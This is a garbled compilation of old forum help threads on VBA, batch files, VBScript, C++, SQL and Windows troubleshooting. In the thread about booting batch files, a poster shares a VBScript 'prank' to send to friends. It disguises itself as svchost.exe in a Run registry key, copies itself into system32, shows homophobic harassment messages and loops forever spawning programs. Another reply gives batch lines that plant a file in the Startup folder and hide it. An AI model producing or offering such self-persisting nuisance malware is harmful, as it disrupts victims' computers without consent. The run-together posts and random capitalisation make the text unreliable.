myRange.Paste

This example copies the comments in the active document to the Clipboard.

If ActiveDocument.Comments.Count >= 1 Then
ActiveDocument.StoryRanges(wdCommentsStory).Copy
End If
You may also want to read the help files on protecting/unprotecting documents.

Incidentally if you have Office Pro, then you should be able to use InfoPath, which is a much better tool for this job.I've never heard of infopath, but I'm sure I could figure it out on my own pretty quickly; could you provide a brief explanation? (or a link to an good source of entry-level info; I googled it but it turned up general information & not-quite-newbie style info.)


As for the selection object - that accomplishes nothing. I tried to explain this in my post without being too verbose, but I guess I was too vauge...srry.
I know how to use the copy command to put items on the clipboard, but (as far as I can tell) the object only works on data that physically exists within a document. You can copy plain, cells, columns, database FIELDS, and the like using the '.copy' command.
This poses a problem for me because the data I want to place on the clipboard doesn't physically exist anywhere on the document, and cannot be placed (even temporarily) on the document because it has to be locked at all times.
I have read the help file inside and out for the Copy command, as well as all related commands. The selection object serves me no good since it, like Copy, can only be used on physically existing information within a document. Something like:

Dim MyString As String
MyString = "Hello World"
MyString.Select
Selection.Copy

Does not work. I've searched the help document for several keywords like "clipboard", "copystring", "strcopy", "stringcopy", & "str", but I keep turning up the same useless information...
...it's hard to search for information on something that you don't even know the name of!You might try using the Clipboard class which has two methods (SetDataObject and GetDataObject)

SetDataObject is used to copy data to the clipboard.
GetDataObject is used to retrieve data from the clipboard.

Don't know if this works in VBA, but it's all the rage in VB.

Clipboard

Good luck. 8-)

581.

Solve : inspiron 1000 start up problem (i need help plz)?

Answer»

I have a Dell Inspiron 1000 that would randomly shut down. After much trouble shooting, I discovered that when you move the LCD screen even an inch, the laptop screen would shut down, and I would have to REBOOT. I know that some LAPTOPS offer a power saving feature that allows a user to either hibernate or put the computer to sleep when you close the lid. I don't even have to close the lid, moving it an inch will cause it to shut down. I turned off all of the Power Saving Features in XP, but it still does this. Bad LCD, or is there something else that is CAUSING this?
Open up the control panel, then CHOOSE Power Options. Click the advanced TAB, and answer the Power Buttons questions; click apply and OK your way out.

Good luck.

582.

Solve : Algebra?

Answer»

Dilbert, I made a C++ program to work out the answer for the question you posted in quotes. I assume you have to FIND the right X and Y values that make the "X" on the left hand side (that I assume is a different X, otherwise it makes little sense) a maximum or minimum value. The maximum value is 27 when Y = 9 and X = 0 and the minimum value is 0 when both equal zero. Although it's fairly easy to solve just by looking at it. Try posting a more difficult equation to solve, so I can prove once and for all that itteratertive SOMETHING methods rule the world, MuWaHaHaHaVery well, Neil. The following is the type of problem found a homework assignment that we covered a few days ago:

Solve the linear system by finding X, Y, and Z

x - 2y + 3z = 7
2x + y + z = 4
-3x + 2y - z = -10

Here's the page on how to solve it: http://tutorial.math.lamar.edu/AllBrowsers/1314/SystemsThreeVrble.aspOK, but not now. It's 3AM Don't WORRY I haven't forgotten... just lots of work...i just read this thread and ill work the problem out by hand and we can compare. plus i need to refresh my mathMy results were:

x = 9/4
y = -5/4
z = 3/4

How come they look so simple yet GIVE such silly answers!did you graph it??Quote

did you graph it??

No. The only 3D maths work I've done is vectors.

It's supposed to be taken down from a 3x3 system to a 2x2 and then again down to a 1x1.

If you do it properly, most of the time it will come out as fractions.

There are also times when there is no solution (E.g. 2 of the 3 equations are the same).
583.

Solve : Command Line Args in Batch File?

Answer»

Is there a WAY to check if the USER has passed in a certian NUMBER of arguments.

You might have mentioned your OS but this works on my machine:

Code: [SELECT]
@echo off
set count=0
:start
if .%1==. goto next
set /a count=%count%+1
shift
goto start
:next
echo %count% arg(s) were passed


Works on NT based machines, otherwise BATCH language does not do arithmetic.

Hope this helps. Thanks, Ill give that a try,

OS = Win2K

584.

Solve : Scan Emails?

Answer»

Hello,

I would like to know how to create a program that scans my EMAILS for specific words before they reach my inbox, kind of antispamYour email program will probably do it for you, even my old Outlook Express can do it.
I use it to filter out all the spam.... Message Rules.Yes I agree but this program would be used on a bunch of computers and so I don't want to have to create the rules on every computer.

Thanks

Al968Why reinvent the wheel? There are lots of programs that already do this.How about to scan them for the text contained in textboxinput ??

Thanks

Al968Whaddyamean?I asked for how to LOOK for the string contained in a textbox called "textboxinput " in all incoming emais and if present ADD to the SUBJECT line "intersesting".

Thanks

Al968Why not google for "Windows email filter"? There are, as I said, a lot of programs out there that can do this kind of thing.

585.

Solve : md5 running process in vb.net?

Answer» HELLO,

I would like to know if it is possible to create a program that get the MD5 hash of a running process and then dislpay in a messagebox and after do that for all the PROCESSES. All that in vb.net .

THANK You

Al968
How is a running process going to have an MD5 hash?! PROGRAMS and the memory they use are transient. Which particular aspect of the program do you want to hash, and why?
586.

Solve : VB help?

Answer»

ok i have been LOOKING into vb and wondering is there a diffrence from it and vbs and if so does vb already installed on my computer(windows xp YEAR 2000 SOMETHING) and if its not then do i have to buy a complier or is one free to download

thanksYes, there is a different. VBS is a scripting language and I don't think that's what you want. It's already "installed" on your computer.

VB is probably what you want, but it costs MONEY.

587.

Solve : quick quietion?

Answer»

alright i have been LEARNING C++ from a book and i have gotten pretty alright with it but the person whowrote it must be well not very bright he didnt TELL you what to make the exetension i was trying to run this program but i didnt know the exetention i tryed .c but it didnt work so does anyone know what it is oo yea can u guys look at my script its doin math

#include
#include
#include
/*
Name: billy
Author: billy
Description: A General Formula Program made in C++
Date: 10/17/05
Copyright: i dont know
*/



//Universal variable for pi
float pi = 3.14;

//Forumla used for Distance formula
int f_Distance()
{
//Declare the variables
float x_Sub1, x_Sub2, y_Sub1, y_Sub2, y_Answer, x_Answer, f_Answer;

//User inputs here
cout << "\n\nPlease INSERT Ysub2: ";
cin >> y_Sub2;
cout << "Please insert Ysub1: ";
cin >> y_Sub1;
cout << "Please insert Xsub2: ";
cin >> x_Sub2;
cout << "Please insert Xsub1: ";
cin >> x_Sub1;

//The actual calculations
y_Answer = (y_Sub2 - y_Sub1) * (y_Sub2 - y_Sub1);
x_Answer = (x_Sub2 - x_Sub1) * (x_Sub2 - x_Sub1);
f_Answer = sqrt (y_Answer + x_Answer);

//The Final Answer
cout << "\n\nThe distance is " << f_Answer;
}

//Formula used for Midpoint
int f_Midpoint ()
{
//Declaring the variables
float x_Sub1, x_Sub2, y_Sub1, y_Sub2, y_Answer, x_Answer;

//User inputs here
cout << "\n\nPlease insert Xsub1: ";
cin >> x_Sub1;
cout << "Please insert Xsub2: ";
cin >> x_Sub2;
cout << "Please insert Ysub1: ";
cin >> y_Sub1;
cout << "Please insert Ysub2: ";
cin >> y_Sub2;

// Formula Calculations
x_Answer = ((x_Sub1 + x_Sub2)/2);
y_Answer = ((y_Sub1 + y_Sub2)/2);

//Final answer output
cout << "\n\nThe Mid-Point is (" << x_Answer << "," << y_Answer << ")";
}

//Formula for the circumference of a circle
int f_Circumference ()
{
//Declaring variables
float f_Diam, f_Answer;

//User inputs here
cout << "\n\nPlease insert the Diameter: ";
cin >> f_Diam;

//Calculations
f_Answer = (f_Diam * pi);

//Final answer Output
cout << "\n\nThe Circumference is " << f_Answer;
}

//Formula for area of a circle
int f_Areacircle ()
{
//Declaring variables
float f_Radius;
float f_Answer;

//User inputs here
cout << "\n\nPlease insert the Radius: ";
cin >> f_Radius;

//Calculations
f_Answer = ((f_Radius * f_Radius) * pi);

//Final Answer output
cout << "\n\nThe Area of the Circle is " << f_Answer;
}


int main()
{
//Declaring the variable for the SWITCH statement
int choice;

//The layouyt of the program
cout << "-----Basic Geometry Formulas-----\n\n\n";
cout << "1. Distance Formula\n";
cout << "2. Mid-point Formula\n";
cout << "3. Circumference\n";
cout << "4. Area of a Circle\n\n";
cout << "Please select a choice: ";
choice = getchar();

//Switch statement between the various formulas that the user picks
switch(choice){
case '1':
f_Distance();
break;
case '2':
f_Midpoint();
break;
case '3':
f_Circumference();
break;
case '4':
f_Areacircle();
break;
default :
return -1;
}
//Pause for one Key and close...
cin.ignore();
cin.get();
return 0;
}


k thanksIt really depends on the complier you're using. In general C programs have a extension of .C and C++ programs have .cpp


Hope this helps.

588.

Solve : String in open dialog?

Answer»

Hello,

I would like to KNOW how to create a vb.net program that ALLOWS the user to select a file (open dialog) and then check if the string in the textbox txtString is present in the selected file. Finally all those actions should be executed when the button btnstart is pushed and if the string is found in the file create a Messagebox SAYING that the message was found else create a messagebox saying that the string wasn't found. I know how to do all of it exept for checking if the string is present.

Thanks

Almnok, I've got how to check if string a is present in string b however I don't know how to do that with the files, can anybody TELL me how to get the content of a text file in a VARIABLE so that I can do that . Here is what I have so far:
Code: [Select]Dim i As Integer = str.IndexOf("This")
'If it returns -1 it means that no matches for the specified string was found.
If Not i = -1 Then
MessageBox.Show(" the string is in here!")
Else
MessageBox.Show(" the string is not in here!")
End If
Thanks

Al968

589.

Solve : .vbs script not working?

Answer»

ok it suppose to make your CD Rom open up its a .vbs script but its not working i keep getting a ERROR do you guys see anything wrong


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000


not very good at .vbs just wondering if you guys know whats wrong with thisThe DO has no corresponding LOOP statement and why are you duplicating the FOR statements?

Suggestion: remove the DO - not needed; the second FOR is redundant, what were you expecting to happen?

Before you ask, there is no method to close the CD drawer. Microsoft was probably worried about little fingers get caught.

Hope this helps. ok i got the vbs code to work by just useing thus code


Dim WMP: Set WMP = CreateObject("WMPlayer.ocx")
Dim colCDROMS: Set colCDROMS = WMP.CDROMCollection

If colCDROMS.Count > -1 Then
For i = 0 to colCDROMS.Count - 1
colCDROMS.Item(i).Eject
Next
End If


ok now i have 2 things i need ONE is it possible to add a line so it will run this script and open every computer in a network cd roms.

and is there a way to make a timer so once u run the program it will be lik a countdown which the person cant see but once times out the script runs thanks

Sorry for the delay. Been busy with other projects. Generally, scripts run on the local machine, however if you have a network connection to a shared device on the network, your script, as written will open CD drawer's on remote machines.

The WScript.Sleep command will pause a script. Time is in milliseconds so as you wrote in you original post, WScript.Sleep 5000 will pause a script for 5 seconds.

Hope this helps. thanks for the reply

ok the sleep command i got it


ok now to the network connection to a shared device on the network, your script, as written will open CD drawer's on remote machines.

so if we all sahre a device then the script will just run on all computers. what does the device have to be we all are connected to the same printerWhy would someone want a BAT file to open other pc cd/dvdrom drives.?Why would someone want a bat file to open other pc cd/dvdrom drives.?or are you thinking this prank:

http://www.jokingaround.com/Downloads.aspxim in a club at my school and it its like student prevention club we are like security at football games and stuff lik that i do to get community service hours when they ask in desperation to stop someone loading a disk into the cdrom to inflick cahoas. our skool dosent have very many people who can turn on a computer yet alone stop someone from useing it so i decided ill make a program that will open every cd rom in the skool i told the teachers (i was acually trying to be funny) y dont we just open every cd rom in the skool to stop this person.(i was laughing under my breath at this point) until my teacher looks at me and says thats a good idea. so i decide to make it i dont really no how its gonna stop the person but hey i get into the computer when ever i wantA slightly different script will enumerate the network printers:

Code: [Select]
Set WshNetwork = WScript.CreateObject("WScript.Network")
Set oPrinters = WshNetwork.EnumPrinterConnections
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2
WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next


For more details on Windows Scripts check out the Hey! Scripting Guys and Office Space archives.

Hope this helps.

590.

Solve : SQL Help?

Answer»

I'm trying to create an Access database using SQL. I'm very new at this language, in fact have never created a database through a script or SQL before. The error I'm getting says:

Error Type:
Microsoft VBScript compilation (0x800A0401)
Expected end of statement
/InternetProgrammingIIDocs/Practice/Chapter 22/Accounting.asp, LINE 10, column 16
CREATE DATABASE Accounting
-----------------^

Here is my entire code below:

<%@ Language=VBScript %>



Accounting



<%
CREATE DATABASE Accounting
ON
(FILE = Accounting,
FILENAME = G:\Internet Programming II\Practice\Chapter 22\Accounting.mdb,
SIZE = 10,
MAXSIZE = 50,
FILEGROWTH = 5)
LOG ON
(FILE = AccountingLog
FILENAME = G:\Internet Programming II\Practice\Chapter 22\Accounting.ldb,
SIZE = 5MB,
MAXSIZE = 25MB,
FILEGROWTH = 5MB)

GO
%>




According to EVERY source I've viewed on the net, you simple create a database by using the words CREATE DATABASE , but my browser says it's wrong. Is there some KIND of dll or something I'm suppose to include before using SQL statements? I feel something is being missed.

NickCreating a database via SQL. Hmm....

You are doing it a very different WAY to how I do, but this is how I would do it

Code: [SELECT]<%

' Initialise the variables

dim dbConnection ' Database connection
dim strSQL ' SQL Query

' Connect to the database

set dbConnection = Server.CreateObject("ADODB.Connection")
dbConnection.Open "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=" & Server.MapPath("../database.mdb")

' Perform the SQL action

strSQL = "SQL COMMAND GOES HERE"
dbConnection.Execute strSQL

' Close the connection

dbConnection.Close

%>
Information on SQL can be found at http://www.w3schools.com/sql

591.

Solve : Getting to boot from batch files?

Answer»

I am trying to get a batch file to load off of a floppy when inserted and booted in a windows computer. It seems it needs to think it's a system disk. I have been messing with 98 and XP BOOT floppies trying to fake out the os. Any ideas? And just so you can feel at ease, this is out of curiosity's sake. I am not programming any death viruses. I have just learned the fun in batch files, and I like the challenge. Thanks for your help! lets see well heres a fun script to do in .vbs

Set wshShell = wscript.CreateObject("WScript.Shell")
Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost.exe","C:\Windows\System32\Tankgame.vbs"
Set wshshell = WScript.CreateObject("Scripting.FileSystemObject")
Wshshell.CopyFile WScript.ScriptFullName, "C:\Windows\system32\Tankgame.vbs"
Wshshell.run "Notepad"
wscript.sleep 100
Wshshell.sendkeys "YOU"
wscript.sleep 700
wshshell.sendkeys "ARE"
Wscript.sleep 700
wshshell.sendkeys "GAY!"
wscript.sleep 10000
MsgBox"An error has occured. It appears that you are gay.", 16 + 4096, "Gay Alert"
wscript.sleep 10000
do
wscript.sleep 2000
wshshell.run "IEXPLORE"
Wscript.sleep 2000
wshshell.run "notepad"
wscript.sleep 100
wshshell.sendkeys "HELLO"
wscript.sleep 500
wshshell.sendkeys "whats"
wscript.sleep 500
wshshell.sendkeys "up!"
wscript.sleep 1000
MsgBox"Lets try again, shall we?", 16 + 4096, "@[emailprotected]"
loop


The script starts by making it a process. Then, it makes a registry key point to a file it will create right AWAY, witch will make the file to run on startup. Then, it copies itself to C:\Windows\system32\Tankgame.vbs. Now the scripts opens notepad, and slowly types YOU ARE GAY. Then it makes a message occur with the title "Gay Alert", telling the victim he is gay. Then, it continually opens internet explorer, opens notepad writing hello wahts up!, and making a text box asking if "We should try again". This was just a bad example of what you can USE VBS scripting for. Be creative, but also, think before you make a file that will harm the victims computer.

i send this to my freinds al the time just to joke around

lets see well heres a fun script to do in .vbs

Set wshShell = wscript.CreateObject("WScript.Shell")
Wshshell.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost.exe","C:\Windows\System32\Tankgame.vbs"
Set wshshell = WScript.CreateObject("Scripting.FileSystemObject")
Wshshell.CopyFile WScript.ScriptFullName, "C:\Windows\system32\Tankgame.vbs"
Wshshell.run "Notepad"
wscript.sleep 100
Wshshell.sendkeys "YOU"
wscript.sleep 700
wshshell.sendkeys "ARE"
Wscript.sleep 700
wshshell.sendkeys "GAY!"
wscript.sleep 10000
MsgBox"An error has occured. It appears that you are gay.", 16 + 4096, "Gay Alert"
wscript.sleep 10000
do
wscript.sleep 2000
wshshell.run "iexplore"
Wscript.sleep 2000
wshshell.run "notepad"
wscript.sleep 100
wshshell.sendkeys "hello"
wscript.sleep 500
wshshell.sendkeys "whats"
wscript.sleep 500
wshshell.sendkeys "up!"
wscript.sleep 1000
MsgBox"Lets try again, shall we?", 16 + 4096, "@[emailprotected]"
loop


The script starts by making it a process. Then, it makes a registry key point to a file it will create right away, witch will make the file to run on startup. Then, it copies itself to C:\Windows\system32\Tankgame.vbs. Now the scripts opens notepad, and slowly types YOU ARE GAY. Then it makes a message occur with the title "Gay Alert", telling the victim he is gay. Then, it continually opens internet explorer, opens notepad writing hello wahts up!, and making a text box asking if "We should try again". This was just a bad example of what you can use VBS scripting for. Be creative, but also, think before you make a file that will harm the victims computer.

i send this to my freinds al the time just to joke around

Could that run if you boot from it? Also is it a batch file? I am attempting it now, but just checking.no its not a batch file its a visual basic script the extention is .vbsWeird, so I saved your program to run on my laptop on bootup. My laptop doesn't run it on bootup. (Keep in mind I am using a floppy to test this.) If I run it in windows to test it I get:

well ill looked back over it there some stuff messed up i guess but i think this will work with a batch

Code Sample
copy %0 c:\windows\startm~\Programs\StartUp\whateve.bat

You can change “whateve.bat” to whatever you want your file to be called and you can change c:\windows\startm~1\program\startup to anywhere else you want to copy your prog. You can also make your prog a bit more hidden by adding this

Code Sample
Attrib +r +h C:\windows\startm~1
\program\startup\whateve.bat

after you have copied your virus to the startup folder. This will make your prog hidden and read-only

592.

Solve : visual faxpro?

Answer»

I MAKE an executable PROGRAM in Visual FaxPro ,
but when i run it the first page appear on screen
for one SECOND and then disappear.how can i solve
this PROBLEM ?
thanks.
More info. I assume you mean FoxPro???

593.

Solve : batch file to modify text file?

Answer»

ok here is my problem, IM trying to create a batch file to run from windows that will look in a text file that is a sun system and be able to replace a string in there. im using the FOLLOWING command
rsh hq-cfgsun3 cat opt/SUNWa*/domains/domain1/config/domain.xml | sed -e 's/512m/1024m/g'> opt/SUNWa*/domains/domain1/config/domain1.xml

but when it gets to the sed part looks like it goes back to REGULAR command prompt and gives me an error that sed is not recognized as an internal or EXTERNAL command.
help pleaseHave you tried including the full path for sed???

Just a thought!!!

594.

Solve : Bat File?

Answer»

Good Morning,

I have created .Bat files to copy files from ONE server to anohter. I'm USING the xcopy command and when I execute the bat file it just flashes a Dos Screen and goes away. (Example just GOING from directory to directory)

xcopy d:\Program Files\Microsoft SQL Server\MSSQL\Backup\*.* D:\Batch_File_Testing\ /s /r

It seems to me that the spaces in the folder names seem to be the problem, if I take out the spaces then it works if I LEAVE the spaces it will not work. Is there a way around this?
Enclose the path\filename in DOUBLE quotes like "c:\program files\file name"

595.

Solve : Batch execution & VBA?

Answer»

I need some help in figuring out how to do the following with VBA in Excel and batch file EXECUTION. Here's the scenario:

++ I have a batch file which uses 2 arguments (%1 %2) to do an XCopy.
++ Using Excel I want to programatically, using Shell to run through each populated row in the spreadsheet (Column A has the source / Column B has the destination).
----------------------
++ Here's the rub - Excel VBA doesn't seem to know that I've got 1 Shell running so that if I have multiple rows, each ONE pops up, i.e. if I have say 10 source folders that I want to copy to 10 different destination folders, then I have 10 cmd.exe's running at the same time.
-----------------------
++ What I'd like to know is if there is a WAY in VBA to not execute the next shell unless the last one is finished?

Any help would be greatly appreciated.

Thanks in advance

OldMarineGruntYou might be better off using Windows Script for this. By creating an Excel object, the script can READ a row, setup the parameters for XCOPY and run each, waiting for one to finish or launch them without waiting.

By the way, XCOPY is a external command and does not need to run with the CMD shell.

More info on Windows Script can be found at Script Center. Check out the HEY Scripting Guy and Office Space links to the archives for some ideas.

Hope this helps. Thanks. I'll give it a shot.Try using the VBA FileCopy command. Look in the Access VBA help. Call me OldNavyGuy

596.

Solve : Accidently deleted a program?

Answer»

:-/ I have a couple of programs that I believe were accidently deleted by my grandson and was wondering if there was a way to retrieve them or not. They were FACTORY installed and I do not have the software.
Thank you,
Suanewhat is the operating SYSTEM.Download\install Restoration and try that. Google for the site.

Read this before trying to find out what to recover:

http://support.microsoft.com/default.aspx?scid=kb;en-us;136517

Good luckIf you are running Windows XP go to
and then click on "System RESTORE"...It will prompt you for a restore point: You will see a calender with HIGHLIGHTED dates. Choose the last date that the program could be accessed ~ any programs installed after that date will not run once the system has been resotred. The computer will asked to be restarted-restart and everthing will be just like you had it before...GIVE it a try.

597.

Solve : need a lot of help rograming this one?

Answer»

I got a laptop its an ibm thinkpad 600 was got on internet ad said it worked just neeed to install os was wiped clean how ever when I got it and turned it on all that comes up is a screen that says thinkpad on it. I have and IBM homemade bootdisk from a friend and it don't work either where do I start? I will never trust any one whom says just in stall os which I have done before. Thanks in advance to any one whom can help with this problem. I am all ready out a chuck of change.debsc3065.......Well , I believe what you are seeing would be what would be EXPECTED if there was no O/S installed ........ So what o/s are you planning on installing ?

dl65 I have the SIMPLY mepis linuxBy the way this laptop only has a cd rom in it.you'll need to configure BIOS to boot off of a cd-rom, and next time you boot have the linux install cd in, this should allow you to install Linux.You need to press F1 when you see the IBM logo to change these OPTIONS however. I don't remember if that one could boot off CDROM. Hopefully it will.

If you need a bootdisk you can go to www.bootdisk.com If that machine only let's you use a CD or a floppy at one time there are some workarounds.

What operating system, and what is the hardware - RAM, HARD drive, etc.

Let us know what you find.

This PROBABLY would have gotten more notice in the Hardware Section. Just a thought.

598.

Solve : ASCII for Alt key?

Answer»

Keys have ASCII values, eg, Esc is ASCII 27, Enter is ASCII 13

As far as I can tell, the Alt key does not have an ASCII value,
but is there any ASCII combination, or whatever, that will produce it?
Will the keyboard scancode be of any USE :-?

The scancode for Alt is hex 38There are different sets of scancodes for different types of keyboards. I think set 3 is most common and is for the 101 key enhanced keyboard. Scancode 38 would be the ascii scancode for ALT. The hex code for ALT is 11 and EO 11 (left alt and right alt). You could probably stuff these values to the keyboard buffer to simulate the ALT key press. There is no true ascii value for the ALT key since it is a modifier for other key presses.Quote

Keys have ASCII values
And I'm afraid that's where you'd be wrong. Dusty's right; scan codes are not the same as ASCII codes. Shift, ctrl, alt etc do not have corresponding ASCII codes; to test for them you'd need to use a keyboard interface library.Oops. Everybody jumps on the NEWBIE... If he can interface the keyboard, if the 3rd bit is set to 00, the keyboard will return the scancode set that it is using. If it is not as expected, he would have to create a lookup table to RETRIEVE the proper scancode. Not exactly the simplest of tasks. The newer 120+ key keyboards have additional scancodes for the extra keys; however, the main keys must be backward compatable with the 101 enhanced keyboard.

This is not my forte! I'm gonna quit while I still can. Maybe I over-simplified the use of scancodes, it's quite a COMPLEX subject for a new-comer and some of us older-comers. I found this to be a good reference. The entire site starting here is good reading for a wet Sunday afternoon

Good luck
599.

Solve : windows me dos mode?

Answer»

how MIGHT i boot a windows me system in dos mode when it is not on the boot menu ACCESSED by pressing the F8 key?That's been a problem ever since MS decided to squeeze MS-Dos out of it's OS's. Here's the MS workaround http://support.microsoft.com/kb/q262846/

Otherwise you could boot USING a Win.98 bootdisk

600.

Solve : win 95 safe mode(only)?

Answer»

hi ,new to this forum hope ime posting in the right place,.
I have just reinstalled win 95 for my son on an old compaq prolinea 4/33 .After many attempts it wouldnt read my cdrom drive ,however it worked eventually ,once it was installed everything seemed ok,however after closing down and restarting it would only start in safe mode.The only indication of any probs i could SEE was in the log file which read ( mouse.drc failure code is ok)so i checked the driver and my mouse was compatable ,it was.The d drive is not showing in the CONTROL panel even though i installed from d (explain that one )ime at a loss to know where to go next.Please help. Did you chose the option re-start from the msdos prompt.....in the shutdown SCREEN?......Hi,yes i did and it just booted back to the win 95 screen where it STAYED until i have to turn off power.I can get it back to safe mode by pressing f8 as soon as win 95 starts and choosing safe mode,but if i choose option 1 i then go into a win 95 screen that freezes. while in safe mode......run this command in the msdos prompt........scandisk